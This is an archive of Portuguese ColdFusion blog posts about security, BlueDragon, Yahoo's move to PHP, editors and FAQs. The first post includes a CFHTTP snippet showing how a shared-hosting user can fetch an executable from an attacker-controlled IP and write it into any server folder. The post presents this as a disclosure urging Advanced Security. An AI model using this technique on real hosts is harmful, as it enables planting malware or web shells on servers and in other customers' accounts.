Pintando e bordando com o CFHTTP e CFPOP

Este post faz parte de uma seqüência de posts iniciada neste link.

Dando início à série, abordo o problema que considero o mais sério de todos. Sério principalmente por ser a mais simples forma de se aproveitar da falta de segurança da basic security. Estou falando das tags CFHTTP e CFPOP.

Uma pausa é necessária aqui: lembre-se de que isso só vale para ambientes compartilhados. Se você roda ou administra um servidor ColdFusion num servidor próprio ou da sua empresa, onde o acesso é controlado e você sabe exatamente quem usa o sistema, a basic security pode ser usada sem medo.

As duas tags em questão não são “desabilitáveis” via basic security e o grande problema com elas é o fato delas tornarem possível o upload de arquivos para o servidor em qualquer pasta (tal como C:winntsystem32, por exemplo). Lembre-se que na basic security não existem permissões de acesso a recursos (como pastas) definidas. Usando a basic security, o ColdFusion tem acesso a todo o servidor (desde que ele esteja rodando sob a conta “system”, default – mais abaixo falo sobre esse asunto, por enquanto admita que o ColdFusion tem acesso a todo o servidor).

A abordagem é semelhante para ambas as tags (com o CFPOP trabalhamos com arquivos anexados enviados via e-mail), porém vamos nos ater à CFHTTP por uma questão de praticidade.

O requisito mais básico e indispensável é que você necessariamente precisa ter uma conta de acesso no servidor vulnerável em questão. Isso significa abrir uma conta de hospedagem num provedor onde “as tags CFFILE, etc, etc, NÃO estão habiltadas no plano ColdFusion” ou mesmo usar uma daquelas gratuítas do CFM-Resources ou qualquer outro provedor de hospedagem ColdFusion que use basic security (no Brasil não conheço nenhum que não use, infelizmente). Isso porque você precisa poder rodar um script CFML que fará uma chamada CFHTTP do tipo GET. O código é simples e extremamente básico:

<CFHTTP
METHOD=”get”
URL=”http://www.qq_server.com.br/arquivo.exe”
PATH=”D:inetpubwwwrootpasta_qualquer”
FILE=”arquivo.exe”>

Simples não? Pois é, imagine que você pode disponibilizar um servidor web no seu próprio PC. O atributo URL ficaria com algo do tipo:

“http://200.202.204.113/arquivo_safado.exe” (200… é o IP do seu PC conectado à Internet).

O atributo PATH apontaria para a pasta onde fica a sua (ou de alguém) conta de hospedagem (usando uma função CGI você pode encontrar esta se o seu provedor não informar) ou mesmo qualquer outra pasta de interesse. A raiz do C:, por exemplo, poderia ser usada. O atributo FILE é meramente o nome que deverá ser dado ao arquivo sendo enviado. Isso vale para arquivos “executáveis” (ex: explorer.exe) e arquivos texto (ex: index.cfm). Existem uma série de nuances e pequenas coisas que você pode fazer que não merecem ser colocadas aqui (tais como se fazer o upload de um template .cfm “processável”) para outra pasta qualquer, etc, etc.

Um exemplo do que estou falando pode ser visto no famigerado servidor ColdFusion gratuíto “CFM-Resources“. Já adianto que eu não recomendo NEM UM POUCO à ninguém este serviço. Logo quando foi lançado, o CFM-Resources era tão furado quanto queijo suíço. Cansei de encher o saco do Pablo Varando sem que ele levasse muito a sério o que eu falava. Até o dia em que eu coloquei um tutorial sobre como se hackear o CFM-Resources nada mais nada menos que na home do site www.cfm-resources.com (isso é história para uma das reuniões do CFUG-SP)…

Veja aqui o template que criei que aproveita-se desta “feature” do CFM-Resources (e de tantos outros servidores compartilhados).

Também não recomendo os bobões de plantão a sairem por aí se metendo à besta para fazer sacanagens com outras pessoas, lembre-se de que os logs foram feitos justamente para estes (os bobos), portanto se você não sabe EXATAMENTE o que está fazendo, não saia por aí fazendo idiotices.

A solução para o problema? ADVANCED SECURITY e sandbox security! Assim, simples, sem delongas. É impressionante como alguns administradores de sistema não se preocupam com isso, talvez por incompetência, talvez por falta de tempo e conhecimento na plataforma ColdFusion…

Já vi algumas medidas “desesperadas” serem tomadas. Adianto que estas não adiantam em nada (assim como toda gambiarra). Alterar o usuário padrão que o serviço do ColdFusion usa é uma dessas. Porém isso não faz muito sentido, uma vez que necessariamente você terá que oferecer acesso à todas as pastas de clientes com esta conta. Você poderá proteger o seu sistema (pastas C:winnt e outras), porém grande parte do seu servidor (onde justamente se tem interesse de explorar) estará aberta do mesmo jeito. EXIJA DO SEU PROVEDOR DE HOSPEDAGEM O USO DE ADVANCED SECURITY!!!

E fique ligado nos próximos posts.


Já pensou em fazer seguro?

Sempre fui um sujeito fissurado por questões de segurança envolvendo aplicações web. Sou daqueles que gosta de se meter a besta e encontrar brechas e problemas causados por má programação ou até mesmo problemas de uma plataforma específica (furos de produtos). O hábito de pensar em segurança deve estar sempre presente quando estamos desenvolvendo qualquer pedaço de código que ficará exposto em um servidor de produção público – um website principalmente.

Este hábito obviamente se reflete nos meus servidores e nas minhas aplicações feitas em ColdFusion, que modéstia à parte são seguras (pelo menos eu creio que sim… :o).

Desde quando me considero “gente” na arquitetura CF, venho percebendo que pouquíssimas pessoas tomam o cuidado que deveriam ter. Cuidados estes que não são exclusividade do ColdFusion Server e da programação em CFML, mas em qualquer servidor/linguagem server-side tal como ASP, JSP, PHP, etc. Já encontrei diversos sites (nacionais e internacionais) com problemas de código inseguro e má configuração de servidor, incluindo alguns grandes como o da RIAA (aquela que fechou o Napster…) veja o meu post a respeito. Nos sites tupiniquins a coisa é pior… Já encontrei inúmeros sites também com problema, não vale a pena aqui dizer quais, porém adianto que em todos eles entrei em contato pessoalmente explicando o problema.

O foco da problemática está nos serviços de hospedagem compartilhada, no estilo DigiWeb, Fulano’s Net, etc, etc e tantas outras. Realmente me preocupa essa história de “as tags CFFILE, CFEXECUTE, blá, blá, estão desabilitadas no plano ColdFusion“. O provedor, na verdade quer dizer (só que usando outras palavras) com isso que: “nosso servidor ColdFusion não usa Advanced Security e não define nenhuma sandbox. Por isso mesmo somos um convite a clientes mau intencionados”. Ou seja, estão lá com o CFServer (muitas vezes a versão Professional) usando a “boa e velha” Basic Security, apenas desabilitando algumas tags sensíveis… Estão 100% seguros? Ledo engano… Para se ter um servidor ColdFusion em ambiente compartilhado, você deve usar a versão ColdFusion Server Enterprise e Advanced Security e saber como tornar o seu servidor seguro num ambiente onde outras pessoas (seus clientes) estarão colocando arquivos. Usar o ColdFusion com a basic security em um servidor compartilhado significa oferecer, de mão beijada, uma verdadeira ferramenta de invasões e de outras sacanagens virtuais.

Como configurar e usar estes recursos de segurança do ColdFusion está fora do escopo destes posts. Para isso existem diversas fontes de informação, a começar pelo MM Desdev (link ao lado). Dessa maneira tentarei, numa seqüência de posts, disponibilizar algumas informações sobre alguns pequenos problemas que existem no ColdFusion Server rodando em basic security e também os erros mais comuns de programação que levam à sua aplicação dar boas vindas a essas pragas chamadas “crackers”, “lammers” e outros idiotas de plantão. Fique ligado.


Yahoo! cogitou usar ColdFusion

O Yahoo! está saindo da sua solução própria (baseada em C/C++) para a linguagem PHP. Isso é um SENHOR incentivo e reconhecimento ao PHP, uma vez que o Yahoo! é notório por ser um dos sites mais seguros e primar pela performance e qualidade dos seus sistemas.

O assunto está sendo alvo de uma discussão na lista CF-Talk e você deve estar se perguntando o quê isso tem a ver com ColdFusion? No fundo nada de mais. Simplesmente para você saber que o CFMX chegou a ser cogitado como uma das soluções que poderia substituir o yScript (a solução proprietária do Yahoo!). Eu tenho lá minhas dúvidas com relação a esta “cogitação”. Para mim não passou de uma mera questão de “respeito” às outras linguagens server-side que existem no mercado e que deveriam ser citadas na apresentação. Já imaginou o Yahoo! usando ASP nos seus servidores de frente? Seria uma afronta à comunidade OpenSource da qual o Yahoo! é simpatizante (eles usam FreeBSB e não o trocam por nada). Em 1999 conheci o engenheiro de sistemas do Yahoo! Brasil e ele tinha a seguinte definição (obviamente em tom de brincadeira e sátira) sobre as outras linguagens de aplicação web que não a usada por eles:

– “ASP é coisa do Bill Gates, nem preciso falar nada”;
– “ColdFusion é coisa de viado e de designer descoladinho”;
– “JSP, o que é JSP?”.

No fundo os engenheiros do Yahoo! são verdadeiros “pais coruja” do sistema que eles mesmos desenvolveram, e com toda razão pois o mesmo é comprovadamente excelente. O problema é que com isso eles acabaram caindo num dilema de estarem “reinventando a roda”. E nos dias de hoje isso tem um preço: tempo. Tempo este que todos sabemos: é dinheiro (ô jargão desgastado!). Pois é… mas esta é a realidade e por esse, entre outros motivos, resolveram migrar para PHP. Estão fazendo isso gradativamente desde Agosto. Em Setembro eu já tinha notado algo estranho num produto deles (o especial sobre o 11 de Setembro – veja um post meu neste dia) quando cruzei com uma página com a extensão “.php”.

Na apresentação (link abaixo), eles fazem algumas considerações sobre o assunto, incluindo o porquê de não se usar CF. Disseram que CF tem uma sintaxe “feia”. Eu discordo totalmente e o leitor também deve discordar. Pô! Existem tantas outras coisas ruins para se falar do ColdFusion antes da sua sintaxe… :o)
Isso só prova a minha teoria de que o CF não foi de fato cogitado seriamente para uma possível substituição. Resta saber se o respeito e o fato de terem citado o CF (junto do MS ASP) é meramente uma questão de mercado ou se os engenheiros do gigante Yahoo! tem, no fundo, uma simpatia e consideração pelo nosso ColdFusion… :o)

Leitura recomendadíssima para aqueles que curtem o danado do PHP:

http://public.yahoo.com/~radwin/talks/yahoo-phpcon2002.htm


Mais uma do Dragão Azul

Frutig postou hoje um excelente levantamento sobre o “irmão gêmeo” do ColdFusion Server, o BlueDragon, no seu blog. O destaque vai para a análise da questão performance do BlueDragon frente ao CFMX, que, diferentemente do que inicialmente pensávamos, é interpretado, tal como no CF5. Uma surpresa para mim, já que a NewAtlanta, empresa que fabrica o BlueDragon, não deixa isso muito claro, dando uma nítida impressão de que o BD é um produto “similar” ao CFMX, o que não é de todo verdade. Vantagem ou desvantagem? Difícil dizer. Num servidor de desenvolvimento sem dúvida é um ponto a favor, porém num servidor de produção, principalmente de alto tráfego, o código compilado (característica do CFMX) leva vantagem. Outros comentários e observações fecham o post esclarecedor, principalmente para quem está querendo experimentar o BD mas tem pouco tempo para se embrenhar em seus detalhes técnicos.

Leitura mais do que recomendada no Blog do MF.

No final do post, uma pequena “supresa” sobre mais um membro da família CFML, não deixe de conferir.


Rodando o CF com templates em outro servidor

Esta semana um tópico interessante andou rolando na CF-Brasil. Ele pode ser de interesse caso você nunca tenha pensado na possibilidade de manter os arquivos “.cfm” em um servidor/local diferente daquele onde está instalado o ColdFusion Server propriamente dito. Sim, isto é viável e, em algumas situações, até recomendável. Independente dos motivos que você tenha para fazer isso (desenvolvimento, segurança, etc) é indispensável que os dois servidores (CF e arquivos) estejam na mesma rede/domínio/grupo. Não existe mágica nenhuma, mas poucas pessoas sabem como fazê-lo. Abaixo uma receitinha de bolo simples:

1) Você vai precisar configurar uma pasta compartilhada no outro servidor, onde vão ficar os arquivos “.cfm”;

2) O seu servidor web (IIS, Apache, etc) precisa conseguir se conectar a esta pasta e usá-la como diretório raiz (veja a documentação do seu servidor caso não saiba como fazer isso);

3) Certifique-se de que o serviço “ColdFusion Application Server” (ou sua instância quando em Unix/Linux) está rodando sob uma conta que tenha permissão de acesso à pasta compartilhada no outro servidor (isso signinifica que ela tem que ser diferente da conta System);

O “macete” da história toda é usar a sintaxe de “rede” “\servidor_arquivospasta_compartilhada” (não se esqueça do último slash) ao invés (ou em substituição) à “D:wwwrootsite”, por exemplo. Isso também vale para os “mappings” definidos no ColdFusion Administrator, CFFILE, etc.


ColdFusion FAQ completíssimo!

Hoje encontrei um FAQ completíssimo sobre ColdFusion. Você pode encontrá-lo em:

http://www.thenetprofits.co.uk/coldfusion/faq/.

Bem completo, quase um tutorial. Mesmo para usuários mais experientes a leitura é recomendada.


Cansado do CFStudio e HomeSite?

Dando continuidade ao assunto “alternativas não-macromedianas”, vou falar um pouco sobre um editor OpenSource que está sendo bastante “badalado” e comentado na comunidade ColdFusion. Trata-se do JEdit, um editor de texto para programação feito em Java, e que pode ser uma alternativa bem interessante aos produtos existentes no mercado. Ele é gratuíto e possui um grande apelo junto à comunidade de programadores no que diz respeito à funcionalidades na forma de “add-ons”, plug-ins e macros. Desenvolvidos e criados especialmente para ele, estes adicionais server para suprir certas necessidades específicas de cada linguagem de programação. E o melhor: você pode criar um específico para as suas necessidades. Partindo-se de um editor simples pode-se agregar uma série de recursos extras tais como gerenciadores de FTP, validadores de XML, etc, alguns deles disponibilizados por outros usuários. Tudo de “etc” que um produto que segue a filosofia OpenSource pode oferecer.

Especialmente falando de programação ColdFusion, o JEdit pode ser usado como um belo editor de CFML. Obviamente ainda não podemos compará-lo com os excelentes (ainda não os troco por nada) editores da “série” HomeSite, incluindo o ColdFusion Studio. Porém, sem dúvida nenhuma, é um horizonte a se olhar e avaliar. De vez enquando é bom mudar de ares. :o)

Um bom guia sobre como se trabalhar com o JEdit para ColdFusion. Divirta-se!


Dragão Azul?

Esta semana andou rolando, na lista CF-Talk, uma boa discussão sobre o “irmão gêmeo” do ColdFusion Server: o BlueDragon Server. Como assim “irmão gêmeo”??! 🙂

Sim… para aqueles que não conhecem o BlueDragon: ele é um servidor de aplicações web que interpreta código CFML tal como o bom e velho ColdFusion Server. O produto já existe há algum tempo, porém nunca vi ninguém falar sobre ele aqui no Brasil. Este produto foi inclusive citado num excelente artigo da WebMonkey, como uma alternativa viável ao produto da Macromedia. Justamente por se falar pouco, vou fazer algumas breves observações.

A denominação de “irmão gêmeo” é inevitável. Na verdade, o BlueDragon é literalmente um interpretador CFML que roda sob um servidor J2EE (que pode vir com ele próprio, tal como no CFMX Professional e Enterprise). Você deve estar perguntando: “Ué? mas não é justamente isso que o CFMX é?”. Exatamente isso. O que faz do BlueDragon um produto bem semelhante ao CFMX. :o)

Pelo que pude perceber, o BlueDragon “stand-alone” (que não roda sob um servidor J2EE completo – mais ou menos como acontece com o CFMX, que roda sob um JRun “lite”) saiu-se muito bem no quesito performance. Fiz uma comparação (no “olhômetro”, sem testá-lo sob stress ou outros métodos mais “científicos” de benchmarking) com o CFMX Professional (“stand alone” também) e a diferença em performance é algo para se notar. O tempo para a operação: “ler o cfml -> converter para java bytecode -> interpretar no jvm -> retornar resultado” é idêntico ao das versões pré-cfmx que era interpretadoras e não “compiladoras”. O uso de CPU não chega nem nos 15-20% e a coisa toda acontece num estalo de dedos. Em operações de desenvolvimento de aplicações, o “salvar -> ver resultado -> mudar -> salvar -> ver resultado” quase não produz delay. No CFMX sofro com o tempo que o JIT leva para fazer esta operação toda…

É um belo produto, sem dúvida. Uma grande vantagem sobre o seu irmão CFMX, da Macromedia, é que com ele podemos “transportar” uma aplicação inteira feita em CFML para um servidor J2EE sem a necessidade de ter outro produto instalado. Isso é impossível no CFMX, pois temos que, de qualquer maneira, tê-lo instalado no servidor. Isso significa que podemos desenvolver uma aplicação CFML – o BlueDragon oferece uma “developer edition” gratuíta, totalmente funcional, limitada a 1 número IP (tal como o CFMX) – e transportá-la completamente (incluindo informações sobre datasources, etc) para um servidor J2EE existente, por meio de um arquivo .WAR. Só isso já faz do BlueDragon um sério concorrente ao “CFMX for J2EE”, que, como já foi dito, precisa da licença e do produto instalado.

Atualmente o BlueDragon é quase 100% compatível com a “especificação” CFML 5 (usada pelo ColdFusion Server 5) e oferece alguns recursos e tags extras. Existe um guia de compatibilidade bem completo no site do produtor (veja link abaixo). Trocando em miúdos: é possível rodar a sua aplicação feita para o Macromedia ColdFusion Server com pouquíssimas modificações. A empresa que faz o produto promete a compatibilidade com a “especificação” CFML 6 (usada pelo CFMX) em breve. Vamos ver (e torcer também).

O BlueDragon custa U$249,00 na versão “stand alone” (sem suporte à JSP) – esta seria a versão “Professional” e U$549,00, também na versão “stand alone” (com suporte à JSP) – esta seria a versão “Enterprise”… Existe ainda, obviamente, o “BlueDragon for J2EE Servers” que tem o seu preço variando de acordo com o número de processadores (começando com 1 processador, por U$2.499,00). Bem menos “salgado” que o ColdFusion da Macromedia não? :o)

Conheça mais sobre o “irmão gêmeo” do ColdFusion Server aqui.


ColdFusion FAQ em português

Esta semana estou sem tempo de postar coisas interessantes por aqui, por isso já vou pedindo desculpas a você. Porém, ao mesmo tempo em que o trabalho deu uma apertada, estou dedicando todo o meu tempo livre à concretização do CFUG-SP. Nesse meio tempo, fiz uma tradução, para o português, do ColdFusion FAQ do Ben Forta (www.cffaq.com). O FAQ é o mais atualizado que já encontrei por aí. Se você quiser pode copiá-lo e usá-lo no seu site, desde que indique a fonte original e também dê um crédito à tradução (afinal de contas dá um pouco de trabalho não?). Faça bom uso!

ColdFusion FAQ em português, disponível no site do CFUG-SP.


Blog do MF

Hoje o Marcello Frutig (CFUG-Rio) colocou, finalmente, o seu blog no ar. Após um bom tempo “escondido”, o Blog do MF tornou-se público para a alegria dos que são ávidos por informação de boa fonte. Os posts são bem elaborados e grandes, com informações valiosas e inéditas em português. Conteúdo de primeira, vale bastante a pena conhecer e guardar no favorites:

http://www.cfugrio.com.br/forum/categories.cfm?catid=13